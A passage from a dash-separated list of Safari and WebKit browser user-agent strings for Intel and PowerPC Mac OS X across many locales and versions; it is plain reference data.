Safari/526.11.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; en-us) AppleWebKit/525.25 (KHTML, like Gecko) Version/3.2 Safari/525.25 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; it-it) AppleWebKit/525.18 (KHTML, like Gecko) -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; ja-jp) AppleWebKit/525.26.2 (KHTML, like Gecko) Version/3.2 Safari/525.26.12 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; sv-se) AppleWebKit/525.26.2 (KHTML, like Gecko) Version/3.2 Safari/525.26.12 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-gb) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-gb) AppleWebKit/528.10+ (KHTML, like Gecko) Version/4.0dp1 Safari/526.11.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Safari/525.20 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.1 Safari/525.13 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/528.16 (KHTML, like Gecko) -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/528.4+ (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/528.7+ (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/530.6+ (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; fr-fr) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; hr-hr) AppleWebKit/530.1+ (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; it-it) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; it-it) AppleWebKit/528.8+ (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; ko-kr) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; nb-no) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; ru-ru) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; zh-tw) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; de-de) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.20 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; de-de) AppleWebKit/525.28.3 (KHTML, like Gecko) Version/3.2.3 Safari/525.28.3 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.1 Safari/530.18 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/531.2+ (KHTML, like Gecko) Version/4.0.1 Safari/530.18 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.3 Safari/531.21.10 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; fi-fi) AppleWebKit/531.9 (KHTML, like Gecko) Version/4.0.3 Safari/531.9 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; it-it) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; ja-jp) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; nl-nl) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; zh-cn) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; zh-tw) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; nl-nl) AppleWebKit/532.3+ (KHTML, like Gecko) Version/4.0.3 Safari/531.9 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; de-at) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; ja-jp) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; nb-no) AppleWebKit/533.16 (KHTML, like Gecko) Version/4.1 Safari/533.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; ru-ru) AppleWebKit/533.2+ (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; ca-es) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; de-de) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; el-gr) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-au) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-us) AppleWebKit/531.21.11 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-us) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-us) AppleWebKit/533.4+ (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-us) AppleWebKit/534.1+ (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; es-es) AppleWebKit/531.22.7 (KHTML, like Gecko) -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; HTC-P715a; en-ca) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; it-it) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; ja-jp) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; ko-kr) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; ru-ru) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; zh-cn) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; th-th) AppleWebKit/533.17.8 (KHTML, like Gecko) Version/5.0.1 Safari/533.17.8 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; ar) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; de-de) AppleWebKit/534.15+ (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; de-de) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-gb) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-us) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; es-es) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; fr-ch) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; fr-fr) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; it-it) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; ja-jp) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; ko-kr) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; sv-se) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; zh-cn) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_7; da-dk) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-us) AppleWebKit/534.16+ (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_7; ja-jp) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; de-at) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_7; en-us) AppleWebKit/533.4 (KHTML, like Gecko) Version/4.1 Safari/533.4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; de-de) AppleWebKit/522.11.1 (KHTML, like Gecko) Version/3.0.3 Safari/522.12.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/521.32.1 (KHTML, like Gecko) Safari/521.32.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/522.11.1 (KHTML, like Gecko) Safari/419.3 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/522.11.1 (KHTML, like Gecko) Version/3.0.3 Safari/522.12.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/522.11 (KHTML, like Gecko) Version/3.0.2 Safari/522.12 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/522+ (KHTML, like Gecko) Version/3.0.2 Safari/522.12 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/523.2+ (KHTML, like Gecko) Version/3.0.3 Safari/522.12.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/523.5+ (KHTML, like Gecko) Version/3.0.3 Safari/522.12.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/523.9+ (KHTML, like Gecko) Version/3.0.3 Safari/522.12.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit (KHTML, like Gecko) -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-us) AppleWebKit/419.2.1 (KHTML, like Gecko) Safari/419.3 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-us) AppleWebKit/522.11.1 (KHTML, like Gecko) Version/3.0.3 Safari/522.12.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-us) AppleWebKit/525.1+ (KHTML, like Gecko) Version/3.0.4 Safari/523.10 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; es-es) AppleWebKit/523.15.1 (KHTML, like Gecko) Version/3.0.4 Safari/523.15 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; fr) AppleWebKit/523.12.2 (KHTML, like Gecko) Version/3.0.4 Safari/523.12.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; fr-fr) AppleWebKit/523.10.3 (KHTML, like Gecko) Version/3.0.4 Safari/523.10 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; fr-fr) AppleWebKit/525.1+ (KHTML, like Gecko) Version/3.0.4 Safari/523.10 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; it-IT) AppleWebKit/521.25 (KHTML, like Gecko) Safari/521.24 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; it-it) AppleWebKit/523.10.6 (KHTML, like Gecko) Version/3.0.4 Safari/523.10.6 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; it-it) AppleWebKit/523.12.2 (KHTML, like Gecko) Version/3.0.4 Safari/523.12.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; ja-jp) AppleWebKit/523.10.3 (KHTML, like Gecko) Version/3.0.4 Safari/523.10 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; ja-jp) AppleWebKit/523.12.2 (KHTML, like Gecko) Version/3.0.4 Safari/523.12.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; ko-kr) AppleWebKit/523.15.1 (KHTML, like Gecko) Version/3.0.4 Safari/523.15 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; ru-ru) AppleWebKit/522.11.1 (KHTML, like Gecko) Version/3.0.3 Safari/522.12.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; sv-se) AppleWebKit/523.10.3 (KHTML, like Gecko) Version/3.0.4 Safari/523.10 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; sv-se) AppleWebKit/523.10.6 (KHTML, like Gecko) Version/3.0.4 Safari/523.10.6 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; sv-se) AppleWebKit/523.12.2 (KHTML, like Gecko) Version/3.0.4 Safari/523.12.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; zh-tw) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS; en-en) AppleWebKit/412 (KHTML, like Gecko) Safari/412 -Mozilla/5.0 (Macintosh; U; PPC Mac OS; pl-pl) AppleWebKit/412 (KHTML, like Gecko) Safari/412 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; da-dk) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; de) AppleWebKit/528.4+ (KHTML, like Gecko) Version/4.0dp1 Safari/526.11.2 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; de-de) AppleWebKit/533.16 (KHTML, like Gecko) Version/4.1 Safari/533.16 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; en) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.18 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; en) AppleWebKit/525.3+ (KHTML, like Gecko) Version/3.0.4 Safari/523.12.2 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; en) AppleWebKit/528.4+ (KHTML, like Gecko) Version/4.0dp1 Safari/526.11.2 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; es-es) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; fr) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.2 Safari/525.22 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; fr) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; fr-fr) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; hu-hu) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; it-it) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; ja-jp) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.18 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; ja-jp) AppleWebKit/533.16 (KHTML, like Gecko) Version/4.1 Safari/533.16 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; nl-nl) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; nl-nl) AppleWebKit/533.16 (KHTML, like Gecko) Version/4.1 Safari/533.16 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; pl-pl) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; sv-se) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.2 Safari/525.22 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; sv-se) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; tr) AppleWebKit/528.4+ (KHTML, like Gecko) Version/4.0dp1 Safari/526.11.2 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_2; en) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.18 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_2; en-gb) AppleWebKit/526+ (KHTML, like Gecko) Version/3.1 Safari/525.9 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_3; en) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.20 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_3; en-us) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.20 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_3; sv-se) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.20 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_4; en-us) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.0.4 Safari/523.10 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_4; en-us) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1 Safari/525.13 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_4; fr-fr) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_5; en-us) AppleWebKit/525.26.2 (KHTML, like Gecko) Version/3.2 Safari/525.26.12 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_5; fi-fi) AppleWebKit/525.26.2 (KHTML, like Gecko) Version/3.2 Safari/525.26.12 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_5; fr-fr) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_6; en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_6; en-us) AppleWebKit/528.16 (KHTML, like Gecko) -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_6; en-us) AppleWebKit/530.1+ (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_6; fr-fr) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_6; nl-nl) AppleWebKit/530.0+ (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_7; en-us) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; en-us) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; en-us) AppleWebKit/532.0+ (KHTML, like Gecko) Version/4.0.3 Safari/531.9 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; en-us) AppleWebKit/532.0+ (KHTML, like Gecko) Version/4.0.3 Safari/531.9.2009 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; ja-jp) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/3.2.3 Safari/525.28.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; ja-jp) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; ja-jp) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; ja-jp) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; zh-cn) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081212 Mozilla/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/526.9 (KHTML, like Gecko) Version/4.0dp1 Safari/526.8 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_6_1; en_GB, en_US) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ca-es) AppleWebKit/522.11.1 (KHTML, like Gecko) Version/3.0.3 Safari/522.12.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; da-dk) AppleWebKit/522+ (KHTML, like Gecko) Safari/419.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-ch) AppleWebKit/312.1 (KHTML, like Gecko) Safari/312 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-CH) AppleWebKit/419.2 (KHTML, like Gecko) Safari/419.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-ch) AppleWebKit/85 (KHTML, like Gecko) Safari/85 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/124 (KHTML, like Gecko) Safari/125 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/124 (KHTML, like Gecko) Safari/125.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.2 (KHTML, like Gecko) Safari/125.7 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.2 (KHTML, like Gecko) Safari/125.8 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.4 (KHTML, like Gecko) Safari/125.9 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125.12 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125.12_Adobe -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.5.6 (KHTML, like Gecko) Safari/125.12 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.5.6 (KHTML, like Gecko) Safari/125.12_Adobe -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.5.7 (KHTML, like Gecko) Safari/125.12 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/312.1.1 (KHTML, like Gecko) Safari/312 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/312.1 (KHTML, like Gecko) Safari/312 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/312.1 (KHTML, like Gecko) Safari/312.3.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/312.5.2 (KHTML, like Gecko) Safari/312.3.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/312.8.1 (KHTML, like Gecko) Safari/312.6 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.5 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.5_Adobe -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/412.6.2 (KHTML, like Gecko) Safari/412.2.2 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/412.6 (KHTML, like Gecko) -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/412.6 (KHTML, like Gecko) Safari/412.2 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/412.6 (KHTML, like Gecko) Safari/412.2_Adobe -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/412.7 (KHTML, like Gecko) Safari/412.5 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/412.7 (KHTML, like Gecko) Safari/412.5_Adobe -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/412 (KHTML, like Gecko) Safari/412 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/416.12 (KHTML, like Gecko) Safari/416.13 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/416.12 (KHTML, like Gecko) Safari/416.13_Adobe -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418.9.1 (KHTML, like Gecko) Safari/419.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/419.2 (KHTML, like Gecko) Safari/419.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/522.11 (KHTML, like Gecko) Version/3.0.2 Safari/522.12 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/85.7 (KHTML, like Gecko) Safari/85.5 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/85.7 (KHTML, like Gecko) Safari/85.7 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/85.8.2 (KHTML, like Gecko) Safari/85.8 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/85.8.5 (KHTML, like Gecko) Safari/85 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/85.8.5 (KHTML, like Gecko) Safari/85.8.1 -Mozilla/5.0 (Macintosh; 